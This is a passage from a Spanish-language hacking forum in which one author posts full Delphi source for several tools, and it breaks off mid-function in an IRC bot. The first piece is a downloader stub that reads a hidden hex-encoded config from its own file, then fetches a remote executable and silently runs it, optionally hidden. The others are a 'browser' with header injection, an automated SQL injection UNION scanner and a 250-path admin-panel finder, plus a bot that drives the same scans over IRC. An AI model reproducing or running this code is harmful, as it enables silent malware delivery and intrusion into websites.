    program stub_down;

    // {$APPTYPE CONSOLE}

    uses
      SysUtils, Windows, URLMon, ShellApi;


    // Functions

    function regex(text: String; deaca: String; hastaaca: String): String;
    begin
      Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
      SetLength(text, AnsiPos(hastaaca, text) - 1);
      Result := text;
    end;

    function dhencode(texto, opcion: string): string;
    // Thanks to Taqyon
    // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
    var
      num: integer;
      aca: string;
      cantidad: integer;

    begin

      num := 0;
      Result := '';
      aca := '';
      cantidad := 0;

      if (opcion = 'encode') then
      begin
        cantidad := Length(texto);
        for num := 1 to cantidad do
        begin
          aca := IntToHex(ord(texto[num]), 2);
          Result := Result + aca;
        end;
      end;

      if (opcion = 'decode') then
      begin
        cantidad := Length(texto);
        for num := 1 to cantidad div 2 do
        begin
          aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
          Result := Result + aca;
        end;
      end;

    end;

    //

    var
      ob: THandle;
      code: Array [0 .. 9999 + 1] of Char;
      nose: DWORD;
      link: string;
      todo: string;
      opcion: string;
      path: string;
      nombre: string;
      rutafinal: string;
      tipodecarga: string;

    begin

      try

        ob := INVALID_HANDLE_VALUE;
        code := '';

        ob := CreateFile(pchar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil,
          OPEN_EXISTING, 0, 0);
        if (ob <> INVALID_HANDLE_VALUE) then
        begin
          SetFilePointer(ob, -9999, nil, FILE_END);
          ReadFile(ob, code, 9999, nose, nil);
          CloseHandle(ob);
        end;

        todo := regex(code, '[63686175]', '[63686175]');
        todo := dhencode(todo, 'decode');

        link := regex(todo, '[link]', '[link]');
        opcion := regex(todo, '[opcion]', '[opcion]');
        path := regex(todo, '[path]', '[path]');
        nombre := regex(todo, '[name]', '[name]');
        tipodecarga := regex(todo, '[carga]', '[carga]');

        rutafinal := GetEnvironmentVariable(path) + '/' + nombre;

        try

          begin
            UrlDownloadToFile(nil, pchar(link), pchar(rutafinal), 0, nil);

            if (FileExists(rutafinal)) then
            begin

              if (opcion = '1') then
              begin
                SetFileAttributes(pchar(rutafinal), FILE_ATTRIBUTE_HIDDEN);
              end;

              if (tipodecarga = '1') then
              begin
                ShellExecute(0, 'open', pchar(rutafinal), nil, nil, SW_HIDE);
              end
              else
              begin
                ShellExecute(0, 'open', pchar(rutafinal), nil, nil, SW_SHOWNORMAL);
              end;
            end;

          end;
        except
          //
        end;

      except
        //
      end;

    end.

    // The End ?


    Si lo quieren bajar lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#246
Delphi / [Delphi] DH Browser 0.2
Noviembre 15, 2013, 11:02:27 AM
Un simple browser que hice en Delphi con las siguientes opciones :

  • Podes ver el codigo HTML de la pagina cargada
  • Se puede buscar palabras en el codigo HTML
  • Poder modificar los headers para HTTP header injection
  • Trae un SQLI Scanner para buscar vulnerabilidades SQLI
  • Trae un PanelFinder para buscar el panel del admin

    Unas imagenes :





    El codigo :

    Carga

    Código: delphi

    // DH Browser 0.2
    // (C) Doddy Hackman 2013

    unit dhbrowse;

    interface

    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, StdCtrls, acPNG, ExtCtrls, ComCtrls, acProgressBar, sGroupBox,
      sSkinManager;

    type
      TForm1 = class(TForm)
        sGroupBox1: TsGroupBox;
        sProgressBar1: TsProgressBar;
        Timer1: TTimer;
        Image1: TImage;

        sSkinManager1: TsSkinManager;
        procedure Button1Click(Sender: TObject);
        procedure Timer1Timer(Sender: TObject);
        procedure FormCreate(Sender: TObject);
      private
        { Private declarations }
      public
        { Public declarations }
      end;

    var
      Form1: TForm1;

    implementation

    uses programa;
    {$R *.dfm}

    procedure TForm1.Button1Click(Sender: TObject);
    begin
      Form2.Show;
    end;

    procedure TForm1.FormCreate(Sender: TObject);
    begin
      sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
      sSkinManager1.SkinName := 'tv-b';
      sSkinManager1.Active := True;
    end;

    procedure TForm1.Timer1Timer(Sender: TObject);
    var
      i: integer;
      total: integer;

    begin

      total := 0;
      sProgressBar1.Min := 0;
      sProgressBar1.Max := 100;

      For i := 1 to 100 do
      begin

        Form1.Update;

        Sleep(1000);
        // Sleep(1);

        total := total + 10;

        sProgressBar1.Position := total;

        if (sProgressBar1.Position = 100) then
        begin
          Timer1.Enabled := False;
          Form1.Hide;
          Form2.Show;
          Abort;
        end;
      end;

    end;

    end.

    // The End ?


    Navegador

    Código: delphi

    // DH Browser 0.2
    // (C) Doddy Hackman 2013
    // Credits :
    // Navigate based on : http://www.swissdelphicenter.ch/torry/showcode.php?id=2242
    // FindText based on : http://delphi.cjcsoft.net/viewthread.php?tid=47143
    // Get HTML based on : http://delphi.about.com/od/adptips2005/qt/webbrowserhtml.htm

    unit programa;

    interface

    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, sSkinManager, StdCtrls, sButton, sEdit, OleCtrls, SHDocVw, sMemo,
      sListBox, sGroupBox, sLabel, sCheckBox, ComCtrls, sStatusBar, acPNG,
      ExtCtrls, mshtml, Menus, PerlRegEx, IdBaseComponent, IdComponent,
      IdTCPConnection, IdTCPClient, IdHTTP, acProgressBar;

    type
      TForm2 = class(TForm)
        sSkinManager1: TsSkinManager;
        sGroupBox1: TsGroupBox;
        sEdit1: TsEdit;
        sButton1: TsButton;
        sGroupBox2: TsGroupBox;
        sMemo1: TsMemo;
        sCheckBox1: TsCheckBox;
        sGroupBox3: TsGroupBox;
        sStatusBar1: TsStatusBar;
        WebBrowser1: TWebBrowser;
        sGroupBox4: TsGroupBox;
        sButton2: TsButton;
        sButton3: TsButton;
        sGroupBox5: TsGroupBox;
        sButton4: TsButton;
        sLabel1: TsLabel;
        Image1: TImage;
        sMemo2: TsMemo;
        PopupMenu1: TPopupMenu;
        S1: TMenuItem;
        S2: TMenuItem;
        IdHTTP1: TIdHTTP;
        PerlRegEx1: TPerlRegEx;
        FindDialog1: TFindDialog;
        sProgressBar1: TsProgressBar;
        procedure sButton1Click(Sender: TObject);
        procedure S1Click(Sender: TObject);
        procedure S2Click(Sender: TObject);
        procedure sButton3Click(Sender: TObject);
        procedure sButton2Click(Sender: TObject);
        procedure sButton4Click(Sender: TObject);
        procedure FindDialog1Find(Sender: TObject);
        procedure FormClose(Sender: TObject; var Action: TCloseAction);
        procedure WebBrowser1ProgressChange(ASender: TObject;
          Progress, ProgressMax: Integer);
        procedure WebBrowser1DownloadComplete(Sender: TObject);
        procedure FormCreate(Sender: TObject);
      private
        { Private declarations }
      public
        { Public declarations }
      end;

    var
      Form2: TForm2;

    implementation

    {$R *.dfm}

    procedure TForm2.FindDialog1Find(Sender: TObject);

    // FindText based on : http://delphi.cjcsoft.net/viewthread.php?tid=47143

    var
      aca: PChar;
      aca2: PChar;
      acatoy: PChar;
      acatoy2: Word;

    begin

      With Sender as TFindDialog do

      begin

        GetMem(aca2, Length(FindText) + 1);
        StrPCopy(aca2, FindText);

        acatoy2 := sMemo2.GetTextLen + 1;
        GetMem(aca, acatoy2);

        sMemo2.GetTextBuf(aca, acatoy2);

        acatoy := aca + sMemo2.SelStart + sMemo2.SelLength;
        acatoy := StrPos(acatoy, aca2);

        if not(acatoy = NIL) then
        begin
          sMemo2.SelStart := acatoy - aca;
          sMemo2.SelLength := Length(FindText);
        end;

        sMemo2.SetFocus;

      end;

    end;

    procedure TForm2.FormClose(Sender: TObject; var Action: TCloseAction);
    begin
      Application.Terminate;
    end;

    procedure TForm2.FormCreate(Sender: TObject);
    begin
      sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
      sSkinManager1.SkinName := 'tv-b';
      sSkinManager1.Active := True;
    end;

    procedure TForm2.S1Click(Sender: TObject);
    begin
      WebBrowser1.Visible := false;
      sMemo2.Visible := True;
    end;

    procedure TForm2.S2Click(Sender: TObject);
    begin
      WebBrowser1.Visible := True;
      sMemo2.Visible := false;
    end;

    procedure TForm2.sButton1Click(Sender: TObject);

    // Navigate based on : http://www.swissdelphicenter.ch/torry/showcode.php?id=2242

    var

      cabeceras: OLEVariant;
      uno: OLEVariant;
      dos: OLEVariant;
      tres: OLEVariant;

    begin

      uno := navNoReadFromCache or navNoWriteToCache;
      dos := '';
      tres := '';

      if (sCheckBox1.Checked) then
      begin
        cabeceras := sMemo1.Text;
        WebBrowser1.Navigate(sEdit1.Text, uno, dos, tres, cabeceras);
      end
      else
      begin
        cabeceras := '';
        WebBrowser1.Navigate(sEdit1.Text, uno, dos, tres, cabeceras);
      end;
    end;

    procedure TForm2.sButton2Click(Sender: TObject);
    var
      pass1: string;
      pass2: string;
      code: string;
      urltest: string;
      urlgen: string;
      full: string;
      codedos: string;
      i: Integer;

    begin

      sStatusBar1.Panels[0].Text := '[+] SQLI Scanning ...';
      Form2.sStatusBar1.Update;

      pass1 := '+';
      pass2 := '--';

      urltest := 'concat(0x4b30425241,1,0x4b30425241)';

      sStatusBar1.Panels[0].Text := '[+] Checking ...';
      Form2.sStatusBar1.Update;

      code := IdHTTP1.Get
        (sEdit1.Text + '1' + pass1 + 'and' + pass1 + '1=1' + pass2);

      codedos := IdHTTP1.Get
        (sEdit1.Text + '1' + pass1 + 'and' + pass1 + '1=0' + pass2);

      if not(code = codedos) then
      begin

        sStatusBar1.Panels[0].Text := '[+] Finding columns number';
        Form2.sStatusBar1.Update;

        urltest := '1' + pass1 + 'and' + pass1 + '1=0' + pass1 + 'union' + pass1 +
          'select' + pass1 + 'concat(0x4b30425241,1,0x4b30425241)';
        urlgen := '1';
        for i := 2 to 36 do
        begin
          sStatusBar1.Panels[0].Text := '[+] Columns Length : ' + IntToStr(i);
          Form2.sStatusBar1.Update;
          urltest := urltest + ',concat(0x4b30425241,' + IntToStr(i)
            + ',0x4b30425241)';
          urlgen := urlgen + ',' + IntToStr(i);
          code := IdHTTP1.Get(sEdit1.Text + urltest + pass2);
          PerlRegEx1.Regex := 'K0BRA(.*?)K0BRA';
          PerlRegEx1.Subject := code;

          if PerlRegEx1.Match then
          begin

            urlgen := StringReplace(urlgen, PerlRegEx1.SubExpressions[1],
              'hackman', []);
            full := sEdit1.Text + '1' + pass1 + 'and' + pass1 + '1=0' + pass1 +
              'union' + pass1 + 'select' + pass1 + urlgen;

            sEdit1.Text := full;
            Abort;

          end;
        end;
      end;

      sStatusBar1.Panels[0].Text := '[+] Done';
      Form2.sStatusBar1.Update;

    end;

    procedure TForm2.sButton3Click(Sender: TObject);
    const
      paginas: array [1 .. 250] of string = ('admin/admin.asp', 'admin/login.asp',
        'admin/index.asp', 'admin/admin.aspx', 'admin/login.aspx',
        'admin/index.aspx', 'admin/webmaster.asp', 'admin/webmaster.aspx',
        'asp/admin/index.asp', 'asp/admin/index.aspx', 'asp/admin/admin.asp',
        'asp/admin/admin.aspx', 'asp/admin/webmaster.asp',
        'asp/admin/webmaster.aspx', 'admin/', 'login.asp', 'login.aspx',
        'admin.asp', 'admin.aspx', 'webmaster.aspx', 'webmaster.asp',
        'login/index.asp', 'login/index.aspx', 'login/login.asp',
        'login/login.aspx', 'login/admin.asp', 'login/admin.aspx',
        'administracion/index.asp', 'administracion/index.aspx',
        'administracion/login.asp', 'administracion/login.aspx',
        'administracion/webmaster.asp', 'administracion/webmaster.aspx',
        'administracion/admin.asp', 'administracion/admin.aspx', 'php/admin/',
        'admin/admin.php', 'admin/index.php', 'admin/login.php',
        'admin/system.php', 'admin/ingresar.php', 'admin/administrador.php',
        'admin/default.php', 'administracion/', 'administracion/index.php',
        'administracion/login.php', 'administracion/ingresar.php',
        'administracion/admin.php', 'administration/', 'administration/index.php',
        'administration/login.php', 'administrator/index.php',
        'administrator/login.php', 'administrator/system.php', 'system/',
        'system/login.php', 'admin.php', 'login.php', 'administrador.php',
        'administration.php', 'administrator.php', 'admin1.html', 'admin1.php',
        'admin2.php', 'admin2.html', 'yonetim.php', 'yonetim.html', 'yonetici.php',
        'yonetici.html', 'adm/', 'admin/account.php', 'admin/account.html',
        'admin/index.html', 'admin/login.html', 'admin/home.php',
        'admin/controlpanel.html', 'admin/controlpanel.php', 'admin.html',
        'admin/cp.php', 'admin/cp.html', 'cp.php', 'cp.html', 'administrator/',
        'administrator/index.html', 'administrator/login.html',
        'administrator/account.html', 'administrator/account.php',
        'administrator.html', 'login.html', 'modelsearch/login.php',
        'moderator.php', 'moderator.html', 'moderator/login.php',
        'moderator/login.html', 'moderator/admin.php', 'moderator/admin.html',
        'moderator/', 'account.php', 'account.html', 'controlpanel/',
        'controlpanel.php', 'controlpanel.html', 'admincontrol.php',
        'admincontrol.html', 'adminpanel.php', 'adminpanel.html', 'admin1.asp',
        'admin2.asp', 'yonetim.asp', 'yonetici.asp', 'admin/account.asp',
        'admin/home.asp', 'admin/controlpanel.asp', 'admin/cp.asp', 'cp.asp',
        'administrator/index.asp', 'administrator/login.asp',
        'administrator/account.asp', 'administrator.asp', 'modelsearch/login.asp',
        'moderator.asp', 'moderator/login.asp', 'moderator/admin.asp',
        'account.asp', 'controlpanel.asp', 'admincontrol.asp', 'adminpanel.asp',
        'fileadmin/', 'fileadmin.php', 'fileadmin.asp', 'fileadmin.html',
        'administration.html', 'sysadmin.php', 'sysadmin.html', 'phpmyadmin/',
        'myadmin/', 'sysadmin.asp', 'sysadmin/', 'ur-admin.asp', 'ur-admin.php',
        'ur-admin.html', 'ur-admin/', 'Server.php', 'Server.html', 'Server.asp',
        'Server/', 'wpadmin/', 'administr8.php', 'administr8.html', 'administr8/',
        'administr8.asp', 'webadmin/', 'webadmin.php', 'webadmin.asp',
        'webadmin.html', 'administratie/', 'admins/', 'admins.php', 'admins.asp',
        'admins.html', 'administrivia/', 'Database_Administration/', 'WebAdmin/',
        'useradmin/', 'sysadmins/', 'admin1/', 'systemadministration/',
        'administrators/', 'pgadmin/', 'directadmin/', 'staradmin/',
        'ServerAdministrator/', 'SysAdmin/', 'administer/', 'LiveUser_Admin/',
        'sysadmin/', 'typo3/', 'panel/', 'cpanel/', 'cPanel/', 'cpanel_file/',
        'platz_login/', 'rcLogin/', 'blogindex/', 'formslogin/', 'autologin/',
        'support_login/', 'meta_login/', 'manuallogin/', 'simpleLogin/',
        'loginflat/', 'utility_login/', 'showlogin/', 'memlogin/', 'members/',
        'login-redirect/', 'sublogin/', 'wplogin/', 'login1/', 'dirlogin/',
        'login_db/', 'xlogin/', 'smblogin/', 'customer_login/', 'UserLogin/',
        'loginus/', 'acct_login/', 'admin_area/', 'bigadmin/', 'project-admins/',
        'phppgadmin/', 'pureadmin/', 'sqladmin/', 'radmind/', 'openvpnadmin/',
        'wizmysqladmin/', 'vadmind/', 'ezsqliteadmin/', 'hpwebjetadmin/',
        'newsadmin/', 'adminpro/', 'Lotus_Domino_Admin/', 'bbadmin/',
        'vmailadmin/', 'Indy_admin/', 'ccp14admin/', 'irc-macadmin/',
        'banneradmin/', 'sshadmin/', 'phpldapadmin/', 'macadmin/',
        'administratoraccounts/', 'admin4_account/', 'admin4_colon/', 'radmind1/',
        'SuperAdmin/', 'AdminTools/', 'cmsadmin/', 'SysAdmin2/', 'globes_admin/',
        'cadmins/', 'phpSQLiteAdmin/', 'navSiteAdmin/', 'server_admin_small/',
        'logo_sysadmin/', 'server/', 'database_administration/', 'power_user/',
        'system_administration/', 'ss_vms_admin_sm/');
    var
      IdHTTP: TIdHTTP;
      i: Integer;
      control: Integer;
    begin

      control := 0;

      sStatusBar1.Panels[0].Text := '[+] Finding Panel ....';
      Form2.sStatusBar1.Update;

      IdHTTP := TIdHTTP.Create(nil);

      for i := Low(paginas) to High(paginas) do

        if (control = 1) then
        begin
          Abort;
        end
        else
        begin

          try

            sStatusBar1.Panels[0].Text := '[+] Testing : ' + paginas[i];
            Form2.sStatusBar1.Update;

            IdHTTP.Get(sEdit1.Text + '/' + paginas[i]);
            if IdHTTP.ResponseCode = 200 then
            begin

              sStatusBar1.Panels[0].Text := '[+] Done';
              Form2.sStatusBar1.Update;
              sEdit1.Text := sEdit1.Text + '/' + paginas[i];
              control := 1;
            end;
          except
            on E: EIdHttpProtocolException do
              ;
            on E: Exception do
              ;
          end;

        end;

      sStatusBar1.Panels[0].Text := '[+] Done';
      Form2.sStatusBar1.Update;

    end;

    procedure TForm2.sButton4Click(Sender: TObject);
    begin
      FindDialog1.Execute;
    end;

    procedure TForm2.WebBrowser1DownloadComplete(Sender: TObject);
    var
      buscador: IHTMLElement;
    begin

      sProgressBar1.Position := 0;

      // Get HTML based on : http://delphi.about.com/od/adptips2005/qt/webbrowserhtml.htm

      begin

        try
          begin

            sMemo2.Clear;

            buscador := (WebBrowser1.Document AS IHTMLDocument2).body;

            while not(buscador.parentElement = nil) do
            begin
              buscador := buscador.parentElement;
            end;
            sMemo2.Lines.Add(buscador.outerHTML);
          end;
        except
          // ??
        end;
      end;
    end;

    procedure TForm2.WebBrowser1ProgressChange(ASender: TObject;
      Progress, ProgressMax: Integer);
    begin
      sProgressBar1.Max := ProgressMax;
      sProgressBar1.Position := Progress;
    end;

    end.

    // The End ?



    Si lo quieren bajar lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.

#247
Delphi / [Delphi] ClapTrap IRC Bot 0.5
Noviembre 11, 2013, 01:13:28 PM
Acabo de terminar mi nuevo programa en Delphi "ClapTrap IRC Bot" , como su nombre dice es solo un bot para IRC con las siguientes opciones :

  • Busca panel de administracion
  • Localiza IP y sus DNS
  • Crackea hashes MD5
  • Y scannea SQLI

    Unas imagenes :





    Menu de carga

    Código: delphi

    // ClapTrap IRC Bot 0.5
    // (C) Doddy Hackman 2013

    unit clap;

    interface

    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, acPNG, ExtCtrls, sSkinManager, ComCtrls, acProgressBar, StdCtrls,
      sGroupBox, sButton, sLabel;

    type
      TForm1 = class(TForm)
        sSkinManager1: TsSkinManager;
        Image1: TImage;
        sGroupBox1: TsGroupBox;
        sProgressBar1: TsProgressBar;
        Timer1: TTimer;
        procedure FormCreate(Sender: TObject);
        procedure Timer1Timer(Sender: TObject);
      private
        { Private declarations }
      public
        { Public declarations }
      end;

    var
      Form1: TForm1;

    implementation

    uses menu;
    {$R *.dfm}

    procedure TForm1.FormCreate(Sender: TObject);

    begin

      sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
      sSkinManager1.SkinName := 'cappuccino';
      sSkinManager1.Active := True;

    end;

    procedure TForm1.Timer1Timer(Sender: TObject);
    var
      i: integer;
      total: integer;

    begin

      total := 0;
      sProgressBar1.Min := 0;
      sProgressBar1.Max := 100;

      For i := 1 to 100 do
      begin

        Form1.Update;

        Sleep(1000);

        total := total + 10;

        sProgressBar1.Position := total;

        if (sProgressBar1.Position = 100) then
        begin
          Timer1.Enabled := False;
          Form1.Hide;
          Form2.Show;
          Abort;
        end;
      end;

    end;

    end.

    // The End ?


    Menu

    Código: delphi

    // ClapTrap IRC Bot 0.5
    // (C) Doddy Hackman 2013

    unit menu;

    interface

    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, sSkinManager, StdCtrls, sButton, sEdit, sLabel, sGroupBox, ComCtrls,
      sStatusBar, acPNG, ExtCtrls, GIFImg, sMemo, IdContext, IdBaseComponent,
      IdComponent, IdTCPConnection, IdTCPClient, IdCmdTCPClient, IdIRC, PerlRegEx,
      IdMultipartFormData, IdHTTP;

    type
      TForm2 = class(TForm)
        sSkinManager1: TsSkinManager;
        sGroupBox1: TsGroupBox;
        sLabel1: TsLabel;
        sLabel2: TsLabel;
        sLabel3: TsLabel;
        sLabel4: TsLabel;
        sEdit1: TsEdit;
        sEdit2: TsEdit;
        sEdit3: TsEdit;
        sEdit4: TsEdit;
        sButton1: TsButton;
        sButton2: TsButton;
        sStatusBar1: TsStatusBar;
        Image1: TImage;
        sGroupBox2: TsGroupBox;
        sMemo1: TsMemo;
        Image2: TImage;
        PerlRegEx1: TPerlRegEx;
        IdIRC1: TIdIRC;
        PerlRegEx2: TPerlRegEx;
        IdHTTP1: TIdHTTP;
        procedure sButton1Click(Sender: TObject);
        procedure sButton2Click(Sender: TObject);
        procedure IdIRC1PrivateMessage(ASender: TIdContext; const ANicknameFrom,
          AHost, ANicknameTo, AMessage: string);

        procedure FormCreate(Sender: TObject);

        procedure FormClose(Sender: TObject; var Action: TCloseAction);
      private
        { Private declarations }
      public
        { Public declarations }
      end;

    var
      Form2: TForm2;

    implementation

    {$R *.dfm}

    procedure TForm2.FormClose(Sender: TObject; var Action: TCloseAction);
    begin
      Application.Terminate;
    end;

    procedure TForm2.FormCreate(Sender: TObject);
    begin
      sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
      sSkinManager1.SkinName := 'cappuccino';
      sSkinManager1.Active := True;
    end;

    procedure TForm2.IdIRC1PrivateMessage(ASender: TIdContext; const ANicknameFrom,
      AHost, ANicknameTo, AMessage: string);

    var
      rta: string;
      z: integer;
      par: TIdMultiPartFormDataStream;
      target: string;

    var
      IdHTTP: TIdHTTP;
      i: integer;

    var
      url: string;
      urldos: string;
      code: string;
      codedos: string;
      pass1: string;
      pass2: string;
      urltest: string;
      urlgen: string;

    var
      hextest: string;
      web1: string;
      web2: string;
      web3: string;
      full: string;

    const
      paginas: array [1 .. 250] of string = ('admin/admin.asp', 'admin/login.asp',
        'admin/index.asp', 'admin/admin.aspx', 'admin/login.aspx',
        'admin/index.aspx', 'admin/webmaster.asp', 'admin/webmaster.aspx',
        'asp/admin/index.asp', 'asp/admin/index.aspx', 'asp/admin/admin.asp',
        'asp/admin/admin.aspx', 'asp/admin/webmaster.asp',
        'asp/admin/webmaster.aspx', 'admin/', 'login.asp', 'login.aspx',
        'admin.asp', 'admin.aspx', 'webmaster.aspx', 'webmaster.asp',
        'login/index.asp', 'login/index.aspx', 'login/login.asp',
        'login/login.aspx', 'login/admin.asp', 'login/admin.aspx',
        'administracion/index.asp', 'administracion/index.aspx',
        'administracion/login.asp', 'administracion/login.aspx',
        'administracion/webmaster.asp', 'administracion/webmaster.aspx',
        'administracion/admin.asp', 'administracion/admin.aspx', 'php/admin/',
        'admin/admin.php', 'admin/index.php', 'admin/login.php',
        'admin/system.php', 'admin/ingresar.php', 'admin/administrador.php',
        'admin/default.php', 'administracion/', 'administracion/index.php',
        'administracion/login.php', 'administracion/ingresar.php',
        'administracion/admin.php', 'administration/', 'administration/index.php',
        'administration/login.php', 'administrator/index.php',
        'administrator/login.php', 'administrator/system.php', 'system/',
        'system/login.php', 'admin.php', 'login.php', 'administrador.php',
        'administration.php', 'administrator.php', 'admin1.html', 'admin1.php',
        'admin2.php', 'admin2.html', 'yonetim.php', 'yonetim.html', 'yonetici.php',
        'yonetici.html', 'adm/', 'admin/account.php', 'admin/account.html',
        'admin/index.html', 'admin/login.html', 'admin/home.php',
        'admin/controlpanel.html', 'admin/controlpanel.php', 'admin.html',
        'admin/cp.php', 'admin/cp.html', 'cp.php', 'cp.html', 'administrator/',
        'administrator/index.html', 'administrator/login.html',
        'administrator/account.html', 'administrator/account.php',
        'administrator.html', 'login.html', 'modelsearch/login.php',
        'moderator.php', 'moderator.html', 'moderator/login.php',
        'moderator/login.html', 'moderator/admin.php', 'moderator/admin.html',
        'moderator/', 'account.php', 'account.html', 'controlpanel/',
        'controlpanel.php', 'controlpanel.html', 'admincontrol.php',
        'admincontrol.html', 'adminpanel.php', 'adminpanel.html', 'admin1.asp',
        'admin2.asp', 'yonetim.asp', 'yonetici.asp', 'admin/account.asp',
        'admin/home.asp', 'admin/controlpanel.asp', 'admin/cp.asp', 'cp.asp',
        'administrator/index.asp', 'administrator/login.asp',
        'administrator/account.asp', 'administrator.asp', 'modelsearch/login.asp',
        'moderator.asp', 'moderator/login.asp', 'moderator/admin.asp',
        'account.asp', 'controlpanel.asp', 'admincontrol.asp', 'adminpanel.asp',
        'fileadmin/', 'fileadmin.php', 'fileadmin.asp', 'fileadmin.html',
        'administration.html', 'sysadmin.php', 'sysadmin.html', 'phpmyadmin/',
        'myadmin/', 'sysadmin.asp', 'sysadmin/', 'ur-admin.asp', 'ur-admin.php',
        'ur-admin.html', 'ur-admin/', 'Server.php', 'Server.html', 'Server.asp',
        'Server/', 'wpadmin/', 'administr8.php', 'administr8.html', 'administr8/',
        'administr8.asp', 'webadmin/', 'webadmin.php', 'webadmin.asp',
        'webadmin.html', 'administratie/', 'admins/', 'admins.php', 'admins.asp',
        'admins.html', 'administrivia/', 'Database_Administration/', 'WebAdmin/',
        'useradmin/', 'sysadmins/', 'admin1/', 'systemadministration/',
        'administrators/', 'pgadmin/', 'directadmin/', 'staradmin/',
        'ServerAdministrator/', 'SysAdmin/', 'administer/', 'LiveUser_Admin/',
        'sysadmin/', 'typo3/', 'panel/', 'cpanel/', 'cPanel/', 'cpanel_file/',
        'platz_login/', 'rcLogin/', 'blogindex/', 'formslogin/', 'autologin/',
        'support_login/', 'meta_login/', 'manuallogin/', 'simpleLogin/',
        'loginflat/', 'utility_login/', 'showlogin/', 'memlogin/', 'members/',
        'login-redirect/', 'sublogin/', 'wplogin/', 'login1/', 'dirlogin/',
        'login_db/', 'xlogin/', 'smblogin/', 'customer_login/', 'UserLogin/',
        'loginus/', 'acct_login/', 'admin_area/', 'bigadmin/', 'project-admins/',
        'phppgadmin/', 'pureadmin/', 'sqladmin/', 'radmind/', 'openvpnadmin/',
        'wizmysqladmin/', 'vadmind/', 'ezsqliteadmin/', 'hpwebjetadmin/',
        'newsadmin/', 'adminpro/', 'Lotus_Domino_Admin/', 'bbadmin/',
        'vmailadmin/', 'Indy_admin/', 'ccp14admin/', 'irc-macadmin/',
        'banneradmin/', 'sshadmin/', 'phpldapadmin/', 'macadmin/',
        'administratoraccounts/', 'admin4_account/', 'admin4_colon/', 'radmind1/',
        'SuperAdmin/', 'AdminTools/', 'cmsadmin/', 'SysAdmin2/', 'globes_admin/',
        'cadmins/', 'phpSQLiteAdmin/', 'navSiteAdmin/', 'server_admin_small/',
        'logo_sysadmin/', 'server/', 'database_administration/', 'power_user/',
        'system_administration/', 'ss_vms_admin_sm/');

    begin
      if ANicknameFrom = sEdit4.Text then
      begin

        // Help

        PerlRegEx1.Regex := '!help';
        PerlRegEx1.Subject := AMessage;

        if PerlRegEx1.Match then
        begin
          IdIRC1.Say(ANicknameFrom, 'Hi , I am ClapTrap and my commands are :');
          IdIRC1.Say(ANicknameFrom, '!locateip <target>');
          IdIRC1.Say(ANicknameFrom, '!panel <target>');
          IdIRC1.Say(ANicknameFrom, '!sqli <target>');
          IdIRC1.Say(ANicknameFrom, '!crackmd5 <md5>');
          IdIRC1.Say(ANicknameFrom, '!help <?>');
          IdIRC1.Say(ANicknameFrom, 'Good Bye');
        end;

        //

        // LocateIP

        PerlRegEx1.Regex := '!locateip (.*)';
        PerlRegEx1.Subject := AMessage;

        if PerlRegEx1.Match then
        begin

          sStatusBar1.Panels[0].Text := '[+] LocateIP : Working';
          Form2.sStatusBar1.Update;

          sMemo1.Lines.Add('[+] LocateIP : Working');

          IdIRC1.Say(ANicknameFrom, '[+] LocateIP : Working');

          par := TIdMultiPartFormDataStream.Create;
          par.AddFormField('DOMAINNAME', PerlRegEx1.SubExpressions[1]);

          rta := IdHTTP1.Post('http://whatismyipaddress.com/hostname-ip', par);

          PerlRegEx2.Regex := 'Lookup IP Address: <a href=(.*)>(.*)<\/a>';
          PerlRegEx2.Subject := rta;

          if PerlRegEx2.Match then
          begin
            target := PerlRegEx2.SubExpressions[2];

            rta := IdHTTP1.Get(
              'http://www.melissadata.com/lookups/iplocation.asp?ipaddress=' +
                target);

            PerlRegEx2.Regex := 'City<\/td><td align=(.*)><b>(.*)<\/b><\/td>';
            PerlRegEx2.Subject := rta;

            if PerlRegEx2.Match then
            begin

              IdIRC1.Say(ANicknameFrom, '[+] City : ' + PerlRegEx2.SubExpressions[2]
                );

            end
            else
            begin
              IdIRC1.Say(ANicknameFrom, '[+] City : Not Found');
            end;

            PerlRegEx2.Regex := 'Country<\/td><td align=(.*)><b>(.*)<\/b><\/td>';
            PerlRegEx2.Subject := rta;

            if PerlRegEx2.Match then
            begin
              IdIRC1.Say(ANicknameFrom, '[+] Country : ' + PerlRegEx2.SubExpressions
                  [2]);

            end
            else
            begin
              IdIRC1.Say(ANicknameFrom, '[+] Country : Not Found');
            end;

            PerlRegEx2.Regex :=
              'State or Region<\/td><td align=(.*)><b>(.*)<\/b><\/td>';
            PerlRegEx2.Subject := rta;

            if PerlRegEx2.Match then
            begin
              IdIRC1.Say(ANicknameFrom, '[+] State : ' + PerlRegEx2.SubExpressions
                  [2]);
            end
            else
            begin
              IdIRC1.Say(ANicknameFrom, '[+] State : Not Found');
            end;

            //

            // Get DNS

            rta := IdHTTP1.Get('http://www.ip-adress.com/reverse_ip/' + target);

            PerlRegEx2.Regex := 'whois\/(.*?)\">Whois';
            PerlRegEx2.Subject := rta;

            while PerlRegEx2.MatchAgain do
            begin
              for z := 1 to PerlRegEx2.SubExpressionCount do
                IdIRC1.Say(ANicknameFrom,
                  '[+] DNS Found : ' + PerlRegEx2.SubExpressions[z]);
            end;

          end;

          sStatusBar1.Panels[0].Text := '[+] LocateIP : Finished';
          Form2.sStatusBar1.Update;

          sMemo1.Lines.Add('[+] LocateIP : Finished');

          IdIRC1.Say(ANicknameFrom, '[+] LocateIP : Finished');

          //
        end;

        //

        // PanelFinder

        PerlRegEx1.Regex := '!panel (.*)';
        PerlRegEx1.Subject := AMessage;

        if PerlRegEx1.Match then
        begin
          //

